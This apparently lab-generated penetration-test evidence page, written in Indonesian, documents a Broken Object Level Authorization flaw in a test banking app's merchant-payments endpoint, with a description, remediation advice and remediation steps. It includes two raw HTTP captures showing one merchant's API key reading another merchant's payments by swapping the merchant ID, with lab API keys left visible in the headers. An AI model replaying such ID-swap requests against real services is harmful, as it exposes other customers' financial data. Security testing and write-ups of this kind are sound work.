Skenario 04 / 26FAIL

Broken Object Level Authorization - Merchant Payments - Payments By Merchant

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant

Deskripsi

Endpoint /api/v1/payments/merchant_id/<merchant_id> mengembalikan daftar pembayaran berdasarkan merchant_id pada path tanpa memeriksa bahwa API key pemanggil memang milik merchant tersebut. Pemeriksaan hanya memastikan API key valid, bukan bahwa pemanggil berhak atas objek yang diminta.

Dampak

Confidentiality (High): pelanggaran isolasi antar tenant. Merchant mana pun yang terdaftar dapat membaca transaksi merchant lain hanya dengan mengubah merchant_id, yang mengekspos data penjualan dan nilai transaksi pesaing. merchant_id berupa bilangan berurutan sehingga seluruh tenant dapat dipanen secara sistematis.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Skenario

Normal: VictimShop membaca daftar pembayarannya sendiri memakai API key miliknya. Eksploitasi: EvilShop memanggil endpoint yang sama dengan merchant_id milik VictimShop menggunakan API key EvilShop -> HTTP 200 dan transaksi VictimShop senilai 77.0 terbaca.

Endpoint

GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>

Fitur terdampak

Pembayaran merchant (rekap transaksi per merchant)

Rekomendasi perbaikan

- Abaikan merchant_id dari path; turunkan merchant dari API key yang mengautentikasi permintaan. - Jika parameter tetap diperlukan, tolak permintaan saat merchant_id tidak sama dengan merchant pemilik API key. - Gunakan identifier acak untuk merchant. - Hapus blok debug_info yang memantulkan API key pemanggil pada respons.

Bukti konsep

1) (Screenshot 1) NORMAL: VictimShop membaca pembayarannya sendiri dengan API key miliknya -> berhasil. 2) (Screenshot 2) DAMPAK CIA: EvilShop memakai API key-nya sendiri untuk membaca merchant_id milik VictimShop -> HTTP 200, transaksi senilai 77.0 milik merchant lain terekspos.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant

Description:
Endpoint /api/v1/payments/merchant_id/<merchant_id> mengembalikan daftar pembayaran berdasarkan merchant_id pada path tanpa memeriksa bahwa API key pemanggil memang milik merchant tersebut. Pemeriksaan hanya memastikan API key valid, bukan bahwa pemanggil berhak atas objek yang diminta.

Impact:
Confidentiality (High): pelanggaran isolasi antar tenant. Merchant mana pun yang terdaftar dapat membaca transaksi merchant lain hanya dengan mengubah merchant_id, yang mengekspos data penjualan dan nilai transaksi pesaing. merchant_id berupa bilangan berurutan sehingga seluruh tenant dapat dipanen secara sistematis.

CWE:
CWE-639: Authorization Bypass Through User-Controlled Key

OWASP:
A01:2021 - Broken Access Control

Scenario:
Normal: VictimShop membaca daftar pembayarannya sendiri memakai API key miliknya. Eksploitasi: EvilShop memanggil endpoint yang sama dengan merchant_id milik VictimShop menggunakan API key EvilShop -> HTTP 200 dan transaksi VictimShop senilai 77.0 terbaca.

Endpoint:
GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>

Affected Feature:
Pembayaran merchant (rekap transaksi per merchant)

Remediation:
- Abaikan merchant_id dari path; turunkan merchant dari API key yang mengautentikasi permintaan.
- Jika parameter tetap diperlukan, tolak permintaan saat merchant_id tidak sama dengan merchant pemilik API key.
- Gunakan identifier acak untuk merchant.
- Hapus blok debug_info yang memantulkan API key pemanggil pada respons.

POC:
1) (Screenshot 1) NORMAL: VictimShop membaca pembayarannya sendiri dengan API key miliknya -> berhasil.
2) (Screenshot 2) DAMPAK CIA: EvilShop memakai API key-nya sendiri untuk membaca merchant_id milik VictimShop -> HTTP 200, transaksi senilai 77.0 milik merchant lain terekspos.

02 — Tangkapan layar

Tangkapan layar (2)

01 / 1
02 / 2

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_b6be463f6999751d74c53b68865247ce565e003583579498f2537892bc13c69a

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 795
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:10 GMT

{
  "debug_info": {
    "looked_up_by_merchant": {
      "api_key": "[REDACTED-LAB-VALUE]",
      "auth_method": "api_key",
      "created_at": "2026-09-30 03:02:10.036422",
      "email": "[REDACTED-EMAIL]",
      "id": 3,
      "is_active": true,
      "name": "None"
    }
  },
  "merchant_id": 3,
  "payments": [
    {
      "amount": 77.0,
      "authorization_code": null,
      "card_id": null,
      "card_number": null,
      "created_at": "2026-09-30 03:02:10.070155",
      "currency": "USD",
      "failure_reason": "invalid_card_number",
      "id": 1,
      "merchant_id": 3,
      "merchant_name": "None",
      "merchant_order_id": null,
      "payment_status": "failed"
    }
  ],
  "status": "success"
}
REKAMAN 02 / 2
HTTP request
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_f69b0e3717c397d562c3d2a419895ef63413a5ba0636da66ac2039fbd70fd211

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 793
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:11 GMT

{
  "debug_info": {
    "looked_up_by_merchant": {
      "api_key": "[REDACTED-LAB-VALUE]",
      "auth_method": "api_key",
      "created_at": "2026-09-30 03:02:10.043652",
      "email": "[REDACTED-EMAIL]",
      "id": 4,
      "is_active": true,
      "name": "None"
    }
  },
  "merchant_id": 3,
  "payments": [
    {
      "amount": 77.0,
      "authorization_code": null,
      "card_id": null,
      "card_number": null,
      "created_at": "2026-09-30 03:02:10.070155",
      "currency": "USD",
      "failure_reason": "invalid_card_number",
      "id": 1,
      "merchant_id": 3,
      "merchant_name": "None",
      "merchant_order_id": null,
      "payment_status": "failed"
    }
  ],
  "status": "success"
}